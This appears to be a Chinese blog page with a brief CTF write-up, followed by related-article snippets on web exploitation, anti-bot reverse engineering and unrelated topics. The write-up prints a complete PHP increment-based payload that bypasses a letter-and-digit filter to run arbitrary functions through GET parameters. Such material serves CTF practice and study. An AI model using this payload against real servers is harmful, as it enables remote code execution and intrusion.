墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
300+累计阅读
375平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
题目:
答案：
解析：
过滤了字母数字但是 '$' 、 '_'、 '='、';'、'+'、'{} '、'()'都没过滤可以用webshell自增绕过
构造：
$_=[].[];$_=$_[''];$__=$_[''];$___=$_[''];++$_;++$_;++$_;++$_;++$_;++$_;++$__;++$__;++$__;++$__;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;$_.=$__.$___;${'_'.$_}[_](${'_'.$_}[__]);
用url编码。
PHP_Code_Challeng系列
CTF Web安全实战：PHP文件包含与伪协议利用深度解析
文件包含漏洞是Web安全领域的常见高危漏洞，其原理在于应用程序动态包含用户可控的文件路径时，未对输入进行充分过滤，导致攻击者能够包含并执行任意文件。从技术价值看，理解文件包含漏洞的利用方式，是掌握服务器端攻击、权限提升及代码审计的基础。在PHP环境中，php://input和php://filter等伪协议常被用于绕过检查与读取敏感文件，例如通过php://input传递POST数据满足特定字符串匹配，或利用php://filter的base64编码过滤器读取服务器文件源码。这些技术在CTF竞赛、渗透测试及
无参数RCE
自增（Increment）通常指的是将某个值增加一个固定的增量。在编程中，自增通常用于循环计数、迭代或者更新变量的值等情况。在许多编程语言中，自增操作可以通过使用++符号来完成。例如，在C语言中，++操作符可以用于将变量的值增加1。这儿我们对$_变量进行了自增操作，但是我们没有给变量$_进行定义值，那么php会自己给$_赋一个默认的值NULL==0可以发现，我们对$_进行了自增操作，最开始他的默认值是0，进行自增后他的值就为1了。
极验点选验证码逆向破解：从JS加密到轨迹模拟的完整实战
在Web安全与自动化测试领域，验证码是区分人类与机器行为的关键防线。其核心原理在于通过前端动态加密与后端行为分析，构造一道人机交互验证屏障。从技术价值看，逆向工程不仅能提升自动化脚本的鲁棒性，更是深入理解前端安全机制与数据加密流程的绝佳实践。在数据采集、自动化测试等应用场景中，破解验证码是实现高效流程的关键环节。本文聚焦于极验点选验证码，通过剖析其JS加密逻辑与轨迹验证机制，详细拆解了如何利用Python模拟人类点击行为，成功绕过验证。其中涉及的关键技术点包括AES加密算法的逆向分析与轨迹数据的模拟生成，为
TDengine 3.3.8.8 版本技术解析：taosX 数据迁移增强、流计算与虚拟表修复全解读
**发布说明：** 本文基于 TDengine 3.3.8.8 版本发布说明（[docs/zh/17-release-history/03-notes/3.3.8.8.md](https://link.gitcode.com/i/cc9d513b702e01bbb68fe198cefbb41e)，发布时间 **2025-12-02**）撰写，结合仓库源码对本次版本的核心特性、优化与修复进行深度解读
CTF Web55无字母数字命令执行：点号拼接与PHP特性利用详解
命令执行是Web安全中的核心漏洞类型，它允许攻击者在服务器上执行任意系统命令，从而可能导致数据泄露、系统沦陷等严重后果。其原理通常源于应用程序对用户输入过滤不严，将输入直接传递给如eval()、system()等危险函数。在CTF竞赛和渗透测试中，绕过过滤机制是检验技术深度的关键，尤其是面对“无字母数字”等严格限制时，需要深入理解编程语言特性。PHP作为广泛使用的服务器端语言，其字符串连接符（点号`.`）、类型转换、超全局变量及位运算（如异或、取反）为绕过提供了丰富途径。通过巧妙组合这些特性，可以构造出纯符
从CTF题看PHP弱类型比较在签名验证中的逻辑漏洞与修复
在Web安全领域，签名验证是确保数据完整性与身份认证的核心机制，其原理是通过特定算法（如哈希函数）对数据和密钥进行处理，生成唯一的签名值进行比对。然而，技术实现中的细微差异可能导致严重的安全漏洞，例如PHP中的弱类型比较（==）问题。当使用==进行签名字符串比对时，PHP会尝试类型转换，使得如'0e123'与'0e456'这类科学计数法字符串被判定为相等，从而绕过验证。这种逻辑缺陷在CTF竞赛和实际工程中屡见不鲜，常出现在登录认证、API鉴权、数据防篡改等场景。本文以一道典型CTF题目为例，深入剖析如何利用
POJ Challenge消失之物
Description ftiasch 有N个物品, 体积分别是W1,W2, ...,WN。 由于她的疏忽, 第i个物品丢失了。 “要使用剩下的N- 1 物品装满容积为x的背包，有几种方法呢？” -- 这是经典的问题了。她把答案记为Count(i, x)，想要得到所有1 <= i <= N, 1 <= x <= M的Cou...
OSCP Challenge A
2023 OSCP challenge A的writeup
ctfshow-Web应用安全与防护challenge做题笔记 长期更新
本文摘要： 该CTF题目涉及前端逆向和请求构造技巧。前端密码验证采用多层Base64嵌套加密，需要通过逆向分析解密链获取真实密码（字节序列fbe137333136）。后端要求特定User-Agent（ctf-show-brower）并存在字符编码陷阱（需使用Latin1而非UTF-8编码）。最终利用curl发送正确编码的请求获取flag：CTF{base64_brute_force_success}。解题关键在于逆向加密逻辑、处理编码差异和满足请求头校验。
python k线顶分型_【缠论】分型、笔的定义及其程序化
K线包含关系处理和分型的定义如果一个K线的高低点全在另一K线的范围里，称之为包含关系。针对这种K线，需要进行一些处理，去除包含关系，处理方法：向上时，把两K线的高点当高点，而两K线低点中的较高者当成低点；反之，当向下时，把两K线的低点当低点，而两K线高点中的较低者当成高点，这样就把两K线合并成一新的K线。经过这样的处理，所有K线图都可以处理成没有包含关系的图形。两K线的包含关系，可以分成四种：1)...
Infineon MOSFET开关损耗计算实战指南
本文是英飞凌MOSFET开关损耗计算的实战指南。针对MOSFET发热问题，文章深入剖析了开关损耗的产生机理，并基于Infineon数据手册的关键参数，手把手推导了开通与关断损耗的工程计算公式。同时，指南强调了栅极电阻、寄生参数等实际因素对损耗的影响，并提供了从理论计算到实测优化的完整路径，帮助工程师精准评估与优化电源设计。
python challenge 15
View Code 1 #-*- coding:utf8-*- 2 import time 3 start = time.time() 4 ''' 5 import xmlrpclib 6 7 server = xmlrpclib.ServerProxy("http://localhost:80") 8 9 words = server.sayHello()10 11 print "...
Python+gensim【中文LDA】简洁模型
文章目录完整代码过程详解words_lsdictionarydictionary.doc2bow函数corpuslda 完整代码 from gensim import corpora, models import jieba.posseg as jp # 待分析文本集 text1 = '美国教练坦言，没输给中国女排，是输给了郎平' text2 = '中国女排世界排名第一？真实水平如何，听听巴西和美...
python challenge 16
View Code 1 #-*- coding:utf8-*- 2 import time 3 start = time.time() 4 ''' 5 import xmlrpclib 6 7 server = xmlrpclib.ServerProxy("http://localhost:80") 8 9 words = server.sayHello()10 11 print "...
基于Arduino的智能垃圾桶
通过本次简单的Arduino智能垃圾桶小实验可以快速了解Arduino的基本用法 1、材料准备 Arduino UNO HC-SR04超声波模块 SG90舵机 杜邦线 电源 电脑 2、代码分析 电机的控制 #include<Servo.h> #define duoji D5 Servo myduoji; void setup() { myduoji.attach(duoji); //舵机连接 Serial.begin(115200); } void loop() { myduoji.w
RK3588S开发板实战：手把手教你搞定IMX415摄像头驱动配置（附调试日志分析）
本文提供了一份详细的RK3588S开发板配置IMX415摄像头驱动的实战指南。内容涵盖从环境准备、内核驱动编译、设备树节点编写到调试日志分析的完整流程，并重点解析了摄像头调试过程中的常见问题与解决方案，帮助开发者快速完成驱动配置与功能验证。
PHP无字母数字RCE：利用取反与URL编码绕过preg_match过滤
在Web应用安全中，输入验证是防御代码注入攻击的关键环节，开发者常使用正则表达式函数如preg_match进行过滤。其原理是通过模式匹配限制用户输入的字符集，旨在阻止恶意代码执行。然而，当过滤规则存在缺陷时，攻击者可利用语言特性构造绕过方案，实现远程代码执行（RCE），这对应用安全构成严重威胁。PHP的位运算取反（~）运算符可将字符串转换为非字母数字字符，结合URL编码机制，可生成纯百分号与十六进制数字构成的Payload。这种技术通过先取反再编码的方式构造攻击字符串，在服务器端自动解码后再次取反还原为可执
别再手动改文献了！手把手教你定制Mendeley的GB/T 7714-2005引用格式（附常见问题修复）
本文详细指导如何定制Mendeley的GB/T 7714-2005引用格式，解决科研文献管理中的常见问题。通过深度解析Mendeley样式编辑器，精准控制作者显示规则、出版社信息精简及期刊页码处理，实现参考文献一键合规。附常见问题修复和实战调试方法，大幅提升学术写作效率。
python challenge 攻略（未完待续）
0.http://www.pythonchallenge.com/pc/def/0.html 很简单，求2^38 1 __author__ = 'lonnelan' 2 3 print 2**38 View Code 得到答案274877906944 输入地址栏：http://www.pythonchallenge.com/pc/def/274877906944.htm...
逆向分析PerimeterX px3：从混淆JS到生成有效令牌的完整实战
在Web安全与数据采集领域，反自动化防护是保障服务稳定和数据安全的关键技术。其核心原理是通过收集浏览器环境指纹和用户行为特征，动态生成加密令牌来区分真人用户与自动化脚本。这项技术的工程价值在于平衡安全性与用户体验，广泛应用于电商、金融、社交等需要防止恶意爬虫和自动化攻击的场景。本文聚焦于业界广泛部署的PerimeterX px3防护方案，通过JavaScript逆向工程，深入剖析其令牌生成机制。我们将探讨如何运用动态调试、反混淆工具和算法还原等关键技术，突破px3的防护壁垒，为自动化测试和数据采集提供稳定可
华为od统一考试B卷【食堂供餐】Python 实现
某公司员工食堂以盒饭方式供餐。为将员工取餐排队时间降低为0，食堂的供餐速度必须要足够快。现在需要根据以往员工取餐的统计信息，计算出一个刚好能达成排队时间为0的最低供餐速度。即，食堂在每个单位时间内必须至少做出多少份盒饭才能满足要求。
NSSCTF - Web | 【HNCTF 2022 Week1】Challenge__rce
如上，可以看到，我们利用目标 WAF 白名单中的字符就可以构建出任意字母了。那么我们可以料想到出题人的考点，即，你不用字母，如何执行系统命令？但是上面的 Payload 我们也不能直接使用，因为 Payload 中包含。下面开始进行代码审计，发现目标进行了一个比较严格的过滤后，最终要执行。但是这样写太死板了且不优雅，所以我们优化一下 Payload，将。如上，成功执行命令发现 flag 文件，最终再通过。这几个关键字符，因此我们想到考点是自增 RCE。那么目标很明显，我们要利用自增 RCE 构造出。
蓝牙模块HM-10手册
蓝牙模块HM-10手册，该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。
PHP文件包含漏洞深度解析：从伪协议利用到CTF实战防御
文件包含是Web开发中常见的功能模块，它允许程序动态引入外部文件以提升代码复用性。其核心原理在于通过include、require等函数将指定文件内容载入当前脚本执行。然而，当文件路径参数被用户输入控制时，便可能引发严重的安全风险，攻击者可借此读取敏感文件甚至执行任意代码，实现权限提升或系统入侵。在PHP环境中，伪协议如php://filter和php://input进一步扩展了攻击面，它们能绕过常规过滤，实现源码读取或远程代码执行，常被用于渗透测试和CTF竞赛中。理解这些协议的运作机制与组合利用技巧，对于
VC中sqlite的使用
在VC中对sqlite的使用，实现数据库大批数据的快速插入，读取数据库中的数据在ListCtrl中显示
ET2012新版免狗免安装绿色软件
ET2012新版免狗免安祖昂绿色软件。，新界面，新视觉，
php和chap,PHP与CHAP协议介绍
PAP和CHAP协议介绍1. 前言PAP和CHAP协议是目前的在PPP(MODEM或ADSL拨号)中普遍使用的认证协议，CHAP在RFC1994中定义，是一种挑战响应式协议，双方共享的口令信息不用在通信中传输；PAP在RFC1334中定义，是一种简单的明文用户名/口令认证方式。2. PAPPAP全称为：Password Authentication Protocol(口令认证协议)，是PPP中的基...
lwip-2.0.3
lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。
Dolphin3-Cyber-8B-GGUF高级用法：Python API调用与安全自动化脚本开发实例
Dolphin3-Cyber-8B-GGUF是一款专为网络安全应用设计的领域特定大型语言模型，基于强大的Dolphin3.0-Llama3.1-8B-abliterated基础模型构建，通过专业安全知识增强，可作为AI驱动的网络安全助手，实现100%本地运行，无需API密钥，保障数据安全。 ## 🚀 Python API调用基础配置 ### 环境准备与安装 要使用Python API调用D
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
431
扫一扫
